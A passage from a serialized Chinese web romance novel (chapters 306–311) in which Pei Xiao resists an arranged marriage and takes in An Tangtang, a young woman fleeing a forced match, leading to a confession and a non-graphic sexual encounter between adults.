因为他从小失去的太多,得到的太少,他急着让自己强大,就会少了些许的沉稳。
会开了一整天。
结束后。
裴敬之找裴啸说了一些裴氏的情况。
他只是听着,并没有说什么。
直到说起他的婚姻……
“既然已经离婚了,你的婚事,还是要提上日程,我会为你挑选更合适的人选。”
裴啸想都没想的拒绝了。
“我不是你,为了裴家,什么也不顾,阿吟已经成为家族的牺牲品了,还不够吗?”
第306章 老婆还没有着落,还生女儿
“一个袁家怎么够?”裴敬之怒斥儿子的不懂事,“我们要在江城站稳,要把裴氏发展壮大,就得需要助力,而你作为裴家的男人,只能为这个家牺牲。”
裴敬之坚持自己的老路,要让裴啸再走一遍。
而裴啸是不愿的。
“如果非得让一个裴家的男人牺牲,我觉得,你还是认回东靖川吧。”
不要再打他的主意了。
他以后结不结婚,还是个未知数。
裴敬之气闷,“你……,简直是不懂事。”
又是不欢而散。
裴啸没在裴氏久留,回了润合。
他给霍时序打了个电话,“喝点?”
霍时序痛快地答应了。
两个人约了个酒吧。
平时霍时序不敢来这种地方,因为裴啸约他,宋南伊才让他。
“怎么,在裴氏干得不痛快?”
二楼的贵宾座位上。
两个男人,不近不远的坐着。
霍时序西装扣子解开,双腿交叠,裴啸只穿了件黑色的衬衣,袖子撸到手肘的位置上。
清风霁月,芝兰玉树。
举手投足间,两个男人,吸引了不少痴女的目光。
“我更倾向于,让东靖川接手裴氏。”裴啸修长的指尖,握着一杯马爹利,“我跟你不一样,我并不介意让他接班。”
“那你挺想得开的。”
霍时序是不一样,他的性格是又争又抢,分毫不让。
裴啸笑笑,很苦的说,“不是我想得开,我起初回国的时候,我也是想回裴氏的,但我爸一直把我和裴吟放到了利益交换的位置上,我真的伤透了心,好像每一个家人,都成为了他扩张野心的筹码,我不喜欢。”
“没办法,我们这种人,没什么选择的。”霍时序劝他想开一点,“我看你对爱情也没什么向往,既然这样,联姻对你来说,也不过是找个女人生个孩子而已,有什么可烦的。”
裴啸也劝过自己。
但劝不了。
“让我一辈子,对着一个不喜欢的女人过日子,我痛苦,她也痛苦,我自己都这样了,何苦要再害一个女人呢。”
裴啸有点拧巴。
恋爱他谈过几次,没怎么谈明白。
他一直觉得自己是慢热型。
实际上,他就是没有遇到让自己真正动心的。
以前的夏北柠是。
邓雪也算。
倒不是他眼光高,他只是不配,“我想这辈子,我就一个人得了。”
“你可别。”霍时序端起酒杯跟裴啸碰了一下,“你如此优秀的基因,得传承下去。”
“我有什么优秀基因,我又没有皇位要继承,就算以后能存下点钱,死了就给阿吟的孩子,他至少可以给我找个墓地埋了,这就挺好的。”
裴啸很消极。
霍时序也劝不了他。
垂眸看向酒吧下面的红男绿女,说,“不行,你得结婚,要不我老婆,老惦记着你,你可是她的白月光,她对你还没死心呢。”
裴啸无语。
端起酒杯,干了,“得了吧你,你们两口子,少拿我消遣。”
霍时序笑着喝酒。
“说真的裴啸,结婚吧,生个女儿,将来咱们结个亲家。”
裴啸笑他想的太远,“儿女的事情,哪是你我能管得了的,就算生了女儿,也未必会进你们家的门。”
“生下来就有希望。”
裴啸摇头。
他这老婆还没有着落,还生女儿。
异想天开。
说话的功夫。
一楼一阵骚乱。
有小混混调戏小姑娘,被打了一巴掌。
吵吵的厉害。
两个男人扶着二楼的栏杆,往下望去。
“小爷看上你,是你的福气,你还跟我这儿装上了。”黄毛一副要揍人的样子。
女孩也没有示弱,“老娘我才看不上你呢,我告诉你,你要再骚扰我,我还会打你,打得你满地找牙。”
裴啸蹙眉。
这人……怎么这么熟?
霍时序先一步认出了她。
“呀,这不是安初平家的小丫头吗?”
裴啸再看过去,刚好安糖糖抬眼往上瞧。
四目相对,她立马认出了他,瞬间来了底气,抬着下巴,对着黄毛讲,“我告诉你,我男朋友可是在上面呢,你再跟我耍横,我让我男朋友揍你,你信不信?”
黄毛哪里信她,“你别跟我这儿信口开河,有本事你让他下来,我就信。”
安糖糖没有底气叫裴啸下来。
但脖子硬得很。
“他要下来,就会揍你,他打人可狠了,你确定?”
黄毛虽不全信,但还是有点忌惮。
为了一个小丫头,不值得,“小爷我这次就放过你,赶紧滚吧。”
黄毛离开。
安糖糖快步跑上了二楼。
她一脸兴奋的看向裴啸,“裴啸哥哥,好巧啊。”
霍时序:……二人认识?
“你们……”
“安糖糖,以后在外面,再让我听到,你拿我当挡箭牌,我可是要找你算账的。”
裴啸一副很烦的模样。
安糖糖委屈的,嘟起小嘴,“干嘛这么小气嘛。”
霍时序坐下,开始吃瓜。
安糖糖走到裴啸身旁坐下,“裴啸哥哥,你经常来这家酒吧吗?今天我没有喝酒,一会儿可以给你当代驾,我保证安全送达。”
“用不着。”
安糖糖也不生气,脸上依然是笑嘻嘻的模样,“别客气,我这个人就是爱心泛滥。”
霍时序忍不住笑了。
裴啸拿起外套起身,叫霍时序,“走吧,今天喝的差不多了,改天再喝。”
“行。”
两个男人一前一后的走下二楼。
安糖糖跟了下去,“裴啸哥哥。”
霍时序有江淮来接。
他笑着跟裴啸说,“我看这个小美女,好像对你有意思,你就给人家个机会,送你一程。”
“送你一程行不行?”
霍时序笑着,“那可不行,我可是有老婆的人,你孤家寡人的一个,人家小姑娘还能占了你的便宜?有风度一点。”
“行了,赶紧走吧。”
霍时序离开。
裴啸准备叫代驾。
安糖糖立马将他的手机抢了过去,“哎呀,裴啸哥哥,别见外嘛,有现成的司机不用,舍近求远,傻不傻?”
“安糖糖,你没完没了是不是?能不能离我远一点,我对你不感兴趣。”
他很厌烦的将她推开。
偏偏安糖糖又没有站住,人后退了两步后,直接摔了出去。
掌心磕破了,她疼的直掉眼泪。
“裴啸哥哥……”
她委屈的样子,像风中破碎的小白花。
搞的裴啸像是个罪人似的。
“没事吧?”他将她从地上抱起来,直接放进了车子后排,“以后还跟不跟着我了?”
安糖糖咬着唇。
眼泪簌簌。
裴啸深呼吸,叫了代驾,直接将人带去了医院,处理手上的伤。
医生说要打破伤风的针。
安糖糖害怕打针。
一直揪着裴啸的袖口,“你能陪我去打针吗?我有点怕。”
第307章 哇……男人的味道
“好。”
他陪她去注射针剂。
安糖糖害怕,眼睛一直盯着针头,好像在准备随时逃离。
裴啸抬手将她的眼睛挡住,将她的脑袋摁在自己的身前,像哄个孩子似的,“别怕,马上就好。”
安糖糖仰起小脸,望着他。
从小她就害怕打针,可是没有一个,肯在她打针的时候,安抚她的情绪。
父亲根本不管她。
祖父母亦是。
他们从来在意的都是自己的感受。
而忽略她。
就像嫁给何绩这事,不管她多不愿意,他们还是要强迫她。
所以她现在……没家了。
针头扎进皮肤。
安糖糖整个后背都僵了。
她闭起眼睛,紧紧的抱着裴啸,身子都是抖的。
“好了吗?”她感觉自己要晕针了。
手指无力,眼前也一片雪花,“裴啸哥,我……”
“砰。”
安糖糖身子一软,倒下去了。
她真的晕针了。
猝不及防。
她就这样丢人地被抱去病房。
醒来时,裴啸正坐在她的病床前,“你醒了?”
“我……”安糖糖觉得太丢人了,她已经有年头没晕过针了,“……我其实不经常晕针的,就是,就是,这次是意外。”
“现在感觉怎么样?”
她点点头,“好多了。”
“休息一下,一会儿我送你回家。”他淡淡的,像个长辈。
安糖糖指尖揪着病床上的被子,好一会儿才鼓鼓囊囊地说,“我……没有家了,我最近住酒店呢。”
“怎么?跟父母闹别扭了?”
安糖糖委屈巴啦的,“他们非让我嫁给何绩,他吃喝嫖赌的,我能嫁给这种人吗?所以……他们停了我的卡,也不让我回家。”
其实,没人能理解她的苦。
都觉得她太娇纵了,动不动的就跟父母对着干。
可是婚姻是大事,她不能这样虐待自己。
“裴啸哥哥,我其实也挺可怜的对吧?”
裴啸淡睨向她。
听起来是挺可怜的,是不是她说的那样,他也不知道。
“那我送你去酒店。”
“裴啸哥哥,我可不可以……去你家里住啊?”她表示,她不会给他添麻烦,“我保证不会打扰到你。”
裴啸皱紧眉心。
这小丫头,真的一点防备别人的心都没有吗?
他们不熟。
她不怕他……
“我家里没有闲地方,再说了,我不喜欢我的家里有外人。”
“你当我是空气好了。”她将自己掌心摊给他看,“看在我受伤的份上,就住一段时间,我会付房租给你的,我真的不想再住酒店了,好不好嘛。”
裴啸没同意。
但这次也没有拒绝。
车子载着二人,回了裴啸的家。
安糖糖像回到了自己的家,一进门就跑进了裴啸的卧室。
扑进了他的大床上。
哇……男人的味道……
她好喜欢呀。
裴啸站在卧室的门口,抱怀看向这个不把自己当外人的女孩,一脸的嫌弃,“别上我的床。”
安糖糖迅速下床,扯平了床单。
嘿嘿笑了两口,“你的床好舒服呀,床垫不错,什么牌子的?”
“安糖糖,你要这儿住,我得跟你约法三章。”
安糖糖捣蒜般的点头,“你说。”
“一,不经过我的同意,不许进我的房间。二,我这个人喜欢安静,没事不要在家里放音乐,来回走动。三,客卧有洗手间,不允许跟我共用一个浴室,不许用我的东西,明白?”
安糖糖:……规矩还真多。
她扬起一抹乖巧的笑,“好的,哥哥。”
不管怎么说。
她有了住的地方,不用再住酒店,闻那种奇怪的味道了。
这种感觉很奇怪。
有家的感觉。
她在自己的家里住了二十年,都没有过家的感觉。
是人不同吗?
裴啸这个人……
她不会是……真的,喜欢上这个男人了吧?
不可能。
安糖糖觉得自己想多了。
可是……
她真的好喜欢闻他身上的味道。
是男人的味道?
可她不喜欢闻何绩身上的味道,他离她近一点,她都想吐。
裴啸身上是那种干干净净,很好闻的男人味。
这种才叫男人味吧?
安糖糖觉得自己疯掉了。
“裴啸哥哥,我饿了,我要点外卖,你吃吗?”
卧室里传来男人沉闷的声音,“不吃。”
“哦。”
安糖糖点了外卖。
自己吃饱后,又去敲裴啸的门。
没人应她。
门虚掩着,她轻轻的推开门,小声唤他,“裴啸哥哥,你睡了吗?”
他今天晚上喝了太多的酒。
她想给他冲了包解酒的冲剂,“哥哥,你要不要喝点解酒的药,再睡啊,这样早晨起来,就不会头疼了哦。”
依然没人应她。
安糖糖只好将杯子,放到了他床头柜上。
好吧,她不打扰他了。
安糖糖睡得出奇的香。
白天她会接一些活,她算是黑客,属于技术工种,在他们那个圈子,还算小有名气。
赚的不算少。
就是有时候忙起来,她可能三天三夜都没得休息。
裴啸白天基本不在家。
她干活累的时候,就会打扫卫生,包括他的卧室。
还会帮他熨烫衬衣。
只要她能干的,她都愿意干。
父亲安初平给她打来电话,让她回家一趟,她不太情愿,“我说了,我不嫁何绩。”
“不嫁就不嫁,至于不回家吗?你先回来,我有事找你商量。”
用到商量这个词。
安糖糖还是替自己捏了把汗。
“知道了。”
安糖糖知道没好事,但没有想到,安初平又把她给卖了。
这次倒不是何绩了。
是一个叫程节的人。
只听这个名字,就能猜到,这个人的年纪。
“糖糖,程节呢岁数不大,四十出头,他的妻子,去世三个月了,这人有钱有势又疼老婆,我告诉你啊,现在江城不少人盯着这块肥肉呢,爸替你先抢下了,这两天,你们见一面,合适的话,你马上就能成为程太太。”
安糖糖气的差点猝死。
她真怀疑自己是不是这个家的女儿,“就可着我一个人祸祸是不是?安乔乔不是你女儿?你怎么不把她介绍给死老婆的男人?”
“乔乔她不是还小嘛,你是姐姐,这有好事,不得仅着你先来。”
安糖糖笑了。
听听,还怪为她着想的。
“她比我小吗?她跟我同一年的,爸,就因为她有妈护着,我没有妈护着,你就这样对我吗?你对得起我死去的妈吗?”
安糖糖放声大哭。
哭的楼板震动。
一边哭,还一边叫唤,“苍天啊,大地啊,来救救没妈的孩子吧,没妈的孩子像根草啊,还有人想连根拔起,不留活路啊……老天爷啊……”
安初平被她哭的心烦。
大声喝斥她,“好了,哭也没用,这事就这么定了。”
第308章 你是不是馋我身子
安糖糖停下哭泣。
拍了拍屁股起身,“我不会跟这个程老头见面的,我怕他克我。”
“你……”安初平气要扬起手来,要打人。
安糖糖立马跳出三米外,“你,你,你还要打我?我告诉你,我现在有男朋友了,我谁也不嫁,我马上就跟我男朋友结婚,马上就生孩子,马上就让你……死心。”
安糖糖冲父亲做了个鬼脸。
大摇大摆的走出家门。
安糖糖看起来没心没肺,心里却常常因为没有母亲庇护,失落和空虚。
父亲把她当成名利场上,追逐的筹码。
不管她愿不愿意。
也不管她会不会幸福。
只一味地往她面前塞男人。
她才二十一岁啊,简直就是管她的死活。
好气。
她得自救。
她要马上结婚,马上,一刻也等不得。
可现实是,谁会娶她呢?
找班上那个屁股比她还会扭的死娘炮Gay男?
不行。
她真的生理性的排斥。
去雇一个人假结婚?
能逃过她爹那双火眼金睛吗?
好苦恼。
安糖糖心里不痛快。
回到裴啸家的时候,拎了一包啤酒。
她坐在阳台上,一瓶一瓶地打开,一瓶一瓶地往喉咙地灌。
醉了就睡。
醒了再喝。
喝多了就去吐。
裴啸回家的时候,安糖糖趴在马桶上睡着了。
“你还是个酒鬼?”
裴啸脸皱的像块抹布。
他这个人有洁癖,看到一地的狼藉,别提心里多不爽气。
“安糖糖?”
他用脚踢了她两下。
人没动。
他便弯下身来,推了推她的胳膊,“安糖糖?”
女孩身子一软,整个人趴在地面上。
很脏,很狼狈。
裴啸无语,这么脏,他实在是不想碰她。
他伸手打开花酒,从头到脚的,冲洗着女孩的身体。
被水刺激到。
安糖糖开始不安的挣扎,她嘴里,鼻腔里,全是水,好窒息。
“不,不要杀我,不要……”
她哭了起来。
裴啸这才停下手中的花洒,丢了块浴巾,将她包裹起来,抱到了床上。
小姑娘唔唔的哭着。
像在梦魇。
睫毛很湿,泪痕也一直没有消失。
裴啸很无语,揪了被子给她盖好,转身要离开时,安糖糖的小手抓住了他的尾指。
“救救我……”
裴啸蹙眉。
还在做噩梦?
她低声呜咽。
似乎有很大的委屈。
他坐到床边,由着她紧紧的靠着自己,小身子一抽一抽的。
待她完全安静下来。
他这才关好门,走出去。
安糖糖睡得并不安稳。
她时常会梦到自己的母亲,但是梦里看不清母亲的模样。
母亲会叮嘱她要照顾好自己,要开心,要做个明媚的女孩子,要嫁一个很爱她的人。
她是那样温柔。
“妈……”
安糖糖梦中哭醒。
头好疼。
揉着脑袋,她这才发现,自己在床上。
她怎么会在床上呢,她明明就在阳台上喝酒啊。
“啊。”
她身上的衣服呢?
谁脱的?
裴啸?
他是不是趁着自己酒醉……
虽然她也有点喜欢他,但他不能这样趁虚而入,趁人之危吧?
安糖糖找了件睡衣套在身上。
推开门,气冲冲的走了出去。
裴啸在客厅里坐着。
他的手边是一台笔记本电脑,注意力很集中,像在处理工作中的事情。
“那个……”她明明想好了,要质问他的,看他如此的泰然。
不自然的舔了舔干涩的嘴唇,“……我有事要问你。”
裴啸没有抬眸,“什么事情?”
“我……,你……是不是对我不轨了?”她几步走到他的面前,“我的衣服,是不是你脱的?”
“是。”他承认着,但眼睛依然没有从电脑上离开。
安糖糖咬了咬唇。
他一副好随意的模样,是不是经常脱女人的衣服?
“你……为什么要脱我的衣服?你是不是馋我的身子?”
裴啸眉心一拧。
这才将视线落到安糖糖的面上,“你说什么?”
“我说……”安糖糖壮着胆子,一副吃了亏的模样,“……我说,你是不是上我了?”
裴啸气笑。
将电脑合上。
抽了根烟,递到唇上衔着,“你有什么值得我上的?有身材?会伺候人?还是我不嫌脏啊?”
“你……”安糖糖气得喘息。
她是没身材。
她还是个雏,当然不会伺候男人。
但她哪里脏了?
“我……我不脏。”
“你喝成那样,趴在马桶上吐得里外都是,你不脏?我脏?”
“我……”安糖糖闭了闭眼,好吧,她断片了,“……这不重要,重要的是,你是不是对我有意思?”
“没有。”他低头点烟。
身上一件灰色的缎面睡衣,胸前的扣子敞开着,半隐半现的是他的胸肌,挺欲的。
安糖糖不争气的,咽了咽。
“你,你说有,我又不笑话你。”
裴啸冷眸,吐出一口烟雾,将二人中间的空气,变得模糊,“安糖糖,你是个痴女吗?缺男人,去点男模,要什么样的都有,别在我面前发情,嗯?”
安糖糖一腔热情。
被倒了一盆凉水。
她愤怒的指着自己,他竟然用这种词形容她,“我发情?裴啸,你以为你是什么好东西?你只是个老男人,我,我,我为什么要对着你发情?”
她气的语无伦次了。
裴啸却淡的不能再淡的吐了一口烟雾,“气急败坏?”
“我,我,你,裴啸,你真的很让人讨厌。”
安糖糖要气疯了。
这个老男人看起来,文质彬彬,怎么还是个毒舌。
“知道我讨厌,就别来招惹我,给你一个月的时间,找地方搬出去。”
他下了驱逐令。
安糖糖瞪着他,小手紧紧的攥成拳头,她真的很想骂人,可是她的眼泪比她的脏话,来得更快。
妈蛋的,她泪失禁啊。
裴啸:……这怎么又哭起来了?
“吵不过,就不要吵,哭成这样,以为我会可怜你?”
安糖糖一哭就废。
越生气,眼泪就越止不住,哭的越是上气不接下气。
裴啸哪见过,这种哭的不出声,眼泪比豆粒还要大,随时就要晕厥过去的架势。
他摁灭了指尖的烟卷。
抽了纸巾,递过去,“行了,别哭了。”
“我不,我就要哭,你欺负我,我还不能哭了?”安糖糖抽抽噎噎的。
裴啸起身。
她以为他会道个歉,安抚几句。
没有。
一句也没有,他转身回房了。
安糖糖更委屈了。
气哼哼的回了自己的房间。
躺在床上,开始复盘自己刚刚的表现。
不满意,一点都不满意。
她应该冲上去,给裴啸两个巴掌,打得他找不着北,而不是哭的上不来气。
“裴啸你个老贼,你被离婚就是活该,没有哪个女人会喜欢上你的。”
“我诅咒你,我挖个坑埋了你,我把你粉身碎骨。”
安糖糖对着枕头,就是一顿拳打脚踢。
她深呼吸,果然,情绪需要发泄。
第309章 抓住什么?
安糖糖一早被饿了起来。
去厨房里找了找,啥也没有。
喝太多酒了,昨天晚上,上了一夜的厕所。
转身,她迷迷糊糊地进了洗手间。
准备小解。
门一拉开。
她就看到一具赤裸的男性身体。
水沿着他的肌肉纹理,美得像一幅漫画。
尤其是那个地方……
她没见过那么夸张的。
“滚出去。”男人丢了块浴巾,扔到了她的脸上。
她瞬间惊醒,后知后觉,“你,你怎么大早上的不穿衣服啊?”
安糖糖跑出洗手间。
脸红的像只番茄,她大口大口的喘着气。
天哪,她第一次见男人的身体。
那玩意怎么……
不行了。
她开始胡思乱想了。
洗手间的门打开。
她慌乱的眼神,望了过去。
裴啸沉着脸,头发上的水珠还在一滴滴的落到他的肩头上。
他只围了条浴巾,胸肌,腹肌,层层分明。
安糖糖干咽。
身材真的跟她想象的分毫不差。
“那个……你……”
“安糖糖,我是不是说过,不能进我的洗手间?你干什么?没见过男人?”裴啸抬眸看她,语气很难听。
安糖糖泄了气。
好吧。
她已经被骂的麻了,不想再争执,声音也小了一半,有气无力的,“是啊,没见过男人,多看一眼,你又少不了一块肉。”
裴啸没再理她。
回了自己的房间。
很快穿戴整齐地走了出来。
安糖糖讪讪抬眸,看了他一眼。
裴啸连声再见都没有说,就离开了家。
她托着腮,反思自己的行为。
好吧,她承认,他是真的很讨厌她。
她的感觉是错误的,这个家,到底不是自己的家。
在别人的家里,她怎么会有自己家的感觉呢?
错误的。
她应该离开。
安糖糖收拾了自己的行李。
将房间全部打扫干净。
又给裴啸换下来的衣服,洗净烘干熨好。
将烟灰缸里的烟头打扫干净,屋里垃圾打包,全部收拾妥帖,这才拿起笔,给裴啸写了一张纸条。
“对不起啊裴啸哥哥,我住在这儿,给你添麻烦了,很感谢你的收留,我今天就走了,我去寻找我的另一个家了,谢谢你的照顾--糖糖。”
字不多。
她也不知道要说些什么。
尽管他不喜欢她,还有点讨厌,但她就是很喜欢跟他讲话。
有一些不舍吧。
终归不是能走到一条路上的人。
就到此为止吧。
纸片下面,是一沓现金,算是她借住的租金,她这个人最不喜欢欠别人的。
挺伤感。
她也不知道怎么回事。
安糖糖走了。
带走了属于她的一切。
裴啸回家后,空里空荡荡的。
再也没有人,毫无分寸扑到他面前说,你怎么才回来呀。
桌子上,是她的纸条。
字迹绢秀,裴啸看着,几秒后,就丢下了。
房间里还有昨天晚上的酒气,混着一些女孩子的气息。
他打开了窗。
一道闪电划过。
顷刻间,倾盆大雨。
而此时的安糖糖,正站在公交站下躲雨。
她最近是被倒霉神沾上边了,刚出门,钱包和手机就被偷了。
还没怎么着呢,差一点被电动车给撞出去。
有好心的大爷给了她五块钱。
她想着去坐地铁,结果,下雨了……离地铁口还有三百米。
公交站下,雨肆意,把她淋成了一只落汤鸡。
也分不清是眼泪还是雨水,她哇哇地哭。
闪电划过,雷声如同地壳被撼动的声音。
安糖糖捂着耳朵,将自己蜷成一小团。
今天出门应该看看天气预报的,早知道是这种天气,她可以死皮赖脸的再住一天。
明明他说了让她一个月内找房子。
她自己置的什么气嘛。
又是一道闪电。
紧接着一阵要撕开大地的雷声。
安糖糖吓坏了。
从小她就怕电闪雷鸣。
此时的她像只流浪小狗,紧紧地缩在公交站的角落里。
雨好冷。
打湿了她的外套,头发,她想离开这儿,可是能躲雨的地方都太远了。
雨下的好急好大。
她好害怕。
“裴啸哥哥,如果你这个时候出现,我会原谅你对我的讨厌,我还会跟你做好朋友的。”
安糖糖自言自语着。
期待着英雄救美。
她渴望得到帮助和救赎。
可她比谁都清楚,没人会来。
裴啸更不会出现。
安糖糖拖着行李,走出了公交站。
风雨肆意。
她被浇的狼狈。
没关系。
有些风雨是要自己承受的,她长大了,得自己照顾自己,得自己保护自己。
父亲不可靠,家也不可靠,男人更不可靠。
她可以的。
可她就是委屈。
为什么她要这样,为什
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么就是没人来爱她,为什么她就不可以有一个为她遮风挡雨的家。
路上行人匆匆。
安糖糖走在暴雨中。
突然。
头顶多了一把伞。
她愿望成真了,高兴抬眸,“裴……”
不是裴啸。
是一位大叔,“小姑娘,这么大的雨,这么个淋法,是要生病的,赶紧的把伞撑好。”
大叔将雨伞塞进安糖糖的手中。
转身走了。
安糖糖又哭了。
独自撑着伞,走在这**中。
停在路口等红灯的车子。
两个男人几乎是同一时间向外望了过去。
“这小丫头,大雨天不在家里呆着,在外面搞行为艺术呢?”霍时序笑着瞥了裴啸一眼,“不会是你把人家赶出来了吧?”
裴啸看向边走边哭的女孩,毫无情绪地轻呵,“我是她爹啊?我有什么权利赶她。”
“我说你……我看小姑娘挺好的,每次见你,眼睛都弯的跟月牙似的,有机会得抓住啊。”
裴啸淡扫了霍时序一眼,“抓住什么?”
“抓住你的缘分,难不成,你真想打一辈子光棍啊?”
裴啸深呼了一口气,推开车门,撑着伞走了出去。
霍时序慢吞吞的拿出手机,打了个电话,“江淮,来接我,就在……”
他看了看四周,报了个地址。
裴啸撑着伞,走到安糖糖的面前,“演苦情戏呢?”
安糖糖听到熟悉的声音。
不敢相信的抬起小脸,望向了裴啸。
看到这张脸,她所有的委屈,一瞬间爆发了。
她扔掉手上的雨伞,扑进了裴啸的怀里,紧紧的抱住了他,“裴啸哥哥,你是来接我回家的吧?我原谅你了,我愿意跟你做最好的朋友。”
裴啸:……什么乱七八糟的。
“怎么在大街上?”他问。
安糖糖瘪了瘪嘴,“钱和手机全被偷了,有好心大爷给了我五块钱,我想着去做地铁,结果下雨了,还下的这么大……”
裴啸也不知道说什么好。
“阿嚏。”安糖糖冻坏了,小脸煞白,但看向裴啸的脸上,还是堆着笑意,“可能,是,感……阿嚏。”
“先上车吧。”
他揽着她的肩,穿过暴风雨,来到车里。
他将暖风开到最高。
踩着油门回了家。
到底是个弱不禁风的小姑娘,被这大雨一淋,发起烧来。
她像个依赖的孩子。
靠在裴啸的怀里,抱着他,不让他走。
哼哼唧唧的……
第310章 你是个二婚哎,这给你拽的
哼唧了半晚上,小姑娘这才退了烧。
人睡的也安稳。
裴啸给她掖好被子,走到客厅里吸了根烟。
深邃的眉眼中,透出落寞的疲惫。
他难道不想找一个避风的港湾吗?
一个小毛丫头,再喜欢他,有什么用,她能带给自己什么?
除了新鲜感……
而他不需要生活中,掺加什么新鲜感,他想要的是安稳,她给不了。
所以……
这样的喜欢没有用。
不适合他。
他给自己倒了杯红酒,一边看着手机,一边轻酌着。
霍时序发来信息。
[人接回家了?]
裴啸回了个,[嗯。]
那头发了个坏笑的表情,[机会难得,好好照顾小姑娘,兴许人家一感动,就以身相许了。]
[你想多了。]
裴啸将指尖的烟卷,轻轻的往烟灰缸里抖了两下。
便将手机扔下了。
外面暴风雨肆虐。
他的心却一如既往的平静。
现在很少有事,能扰乱他的心了。
“不要,我不要嫁给他,我不要……”安糖糖又梦魇了。
裴啸起身走到她的房间门口,看到她正紧紧的抓着床单,满头的汗珠。
他走过去,还没有触到她。
她便循着他的气息,投进了他的怀里,“我不要,我不要嫁给那个老头,我不要……”
裴啸:……老头?
安糖糖醒了。
又似没醒,人是恍惚的,像是要抓住什么,什么也抓不住,很恐慌的样子。
“裴啸哥哥,你能不能不要走?”
她承认她有点被吓到了。
狂风暴雨很容易让她做噩梦。
她想靠在他温暖的怀抱里,可他并不喜欢她。
“我很没出息对不对?”她知道这样霸占着一个不属于自己的男人,很没有道德,可她这样很有安全感,“裴啸哥哥,你可不可以……”
她仰起小脸,看着男人,那些羞耻的话,她说不出口。
她突然想表白了,“……裴啸哥哥,我有点喜欢上你了,我们可不可……恋爱呀?”
她脸红了。
这是她生平第一次向男人表白。
她很怕,怕他会拒绝。
但她又清楚的知道,他一定会拒绝。
裴啸没说话。
她便知道了答案,“哦,好吧,你瞧不上我。我其实也不差的,我可以养活自己,我卡里存了好多钱了,我也可以做一个很乖的女朋友,我就是……有点粘人,我没有别的毛病……你,你不喜欢我,是你的损失。”
她好难过。
世界上最伤人的拒绝,不是震耳欲聋。
是无声。
他做到了。
她又有点想哭了。
裴啸依然静默。
安糖糖抓着他的衬衣,将小脸贴的他更近,唇几乎要贴到他的下巴上,“裴啸哥哥,你说句话嘛,你想要什么样的女朋友,我都可以配合你的,我不脏,可以去体检,我,我很干净的。”
裴啸垂眸。
她漂亮的眸子乱颤。
小姑娘就是小姑娘。
只想谈一场,让自己不后悔的恋爱。
可他上了岁数了。
玩不动了。
“还难受吗?”
安糖糖摇头,“不,不难受了。”
“不难受就赶紧睡吧,我也该去休息了。”
裴啸冷静的可怕。
他没有正面回答安糖糖的表白。
没有必要。
也不会当真。
走到门口时,安糖糖掀起被子,跑到他的身后,抱住了他,“裴啸哥哥,你真的……就这么讨厌我吗?我真的还挺可爱的,你要不就试一下,就试一下好不好?”
“不试。”他冷硬拒绝。
她抱着他的腰,转到他身前,仰起小脸,泪眼汪汪的,“你的心是石头做的吗?”
“安糖糖,你现在就是养好病,然后赶紧回家,不是在这里跟我玩爱情游戏,我没有那么多闲功夫,陪你玩。”
他眼神嫌弃。
甚至还有不耐。
她心里很难受,非要问原因,“那你说,你瞧不上我的原因?是因为我太美太可爱吗?”
裴啸:……
“裴啸哥哥,我虽然长得很没有安全感,但我真的特别专一的,而且,我保证,我以绝对认真的态度,来谈一场有结果的恋爱,我不是玩玩的。”
她踮起脚尖,将自己的唇送上去。
裴啸只是冷眼瞧着她。
在她的唇要碰到自己的唇的时候,他推开了她。
“行了,赶紧睡吧,别东想西想的了。”
裴啸离开,将门关上。
安糖糖气得抓耳挠腮,“我哪里不好了,你还瞧不上我?我好歹没有正儿八经的,谈过男朋友好不好?你上哪里找我这么干净的女孩啊?你是个二婚哎,这给你拽的。”
气死了。
她感觉自己病都气好了。
她扣着下巴,思来想去的,越想越不甘心。
这天底下还有对女人,不感兴趣的男人?
她可是青春无敌,古灵精怪,沉鱼落雁,闭月羞花的,大美女哎。
安糖糖想了馊主意。
洗了个冷水澡,然后跑去了裴啸的房间。
“哥哥,冷……”她掀起裴啸的被子,就钻进了他的被窝。
裴啸吓的差点跳下床,“你有病啊?”
“我冷,哥哥。”她将冰凉的身子,靠近他,可怜巴巴的,“我真的冷。”
裴啸沉眸,抬手摸了摸她的胳膊。
很凉,很冷。
再摸额头,又很热。
“你干什么了?”
安糖糖杏眸含水,脆弱摇头,“就是冷,哥哥。”
她抱住他的腰。
将小脸贴在他的胸口上,“这样能好一点。”
裴啸太轻易就看穿了她的把戏。
无奈,又觉得可笑。
“就非得跟我……做一次?”他摁着她,将她压在身下,“安糖糖,你可别后悔啊,我不会对你负责,也不会跟你做什么男女朋友,就单独肉体关系。”
安糖糖的小手搂上他的脖子,“或许,你做完就改变主意了呢。”
她仰着小脸去吻他。
他躲开了。
安糖糖嘟起小嘴,“哥哥,吻……我。”
裴啸不想做的。
“这世上没后悔药吃,你想清楚。”
“我身经百战,你别后悔就行。”她勾着他的脖子,往下一拽,吻上了他的唇。
他握着她的下巴和脖子。
呼吸里全是掠夺,“行,你受着。”
他发了狂地吻咬着她的每寸肌肤。
如外面的狂风暴雨。
啃咬,纠缠,激烈。
最重要的那一刻时,她疼的咬在了他的肩上。
裴啸察觉了不对劲。
“第一次?”
安糖糖想否认,但这事又无法否认,只能咬着唇点头,“嗯。”
“你不是说你……身经百战吗?”
早知道她是第一次。
他压根不会碰她。
他想要推开她,她却先一步抱住了他,像怕失去般的,“对不起,我,我可以忍的,我不怕疼,一回生,二回熟,做的多了,我就……好了。”
裴啸蹙眉,什么乱七八糟的。
第311章 我特别喜欢闻你身上的味道
“放开。”他不准备继续了。
安糖糖摇头,她不要放,“都这样了……你不能走,我不让你走。”
“安糖糖,你知不知道,你在玩一种很危险的游戏?”他脸色很冷,冷的安糖糖害怕。
即便是这样,她依然没有松开抱着他的手,“我就是想做你女朋友,我有什么错?我喜欢你,我想把自己给你,我错在哪儿了?什么危险不危险的,我不知道。”
安糖糖生气了。
一口咬在了裴啸的胸肌上。
血淋淋的两排齿痕。
裴啸疼的变脸,“你属狗的?”
她失去力气般的,躺在他的枕头上,胸口起伏的望着他。
“你就是个懦夫,送到口的肉都不吃,你是不是岁数大了不行了?要不要我叫个外卖,你偷偷吃几片小蓝?”
她成心挑衅。
裴啸的眸子染上欲色。
“你真是欠收拾。”
安糖糖得逞了。
裴啸像一头失控了的猎豹。
浮浮沉沉。
她满足极了,终于体会到了做女人的感觉。
“裴啸哥哥,你现在愿意做我男朋友了吗?”她很热切的望着他,想看他点头。
结果男人还一如既往的清冷,“不愿意。”
“我不,我就要做你女朋友。”她抱着他的腰,小脸靠在他的胸前,“裴啸哥哥,我会是一个很好的女朋友,我这人真的还挺好的。”
“我不喜欢小姑娘。”
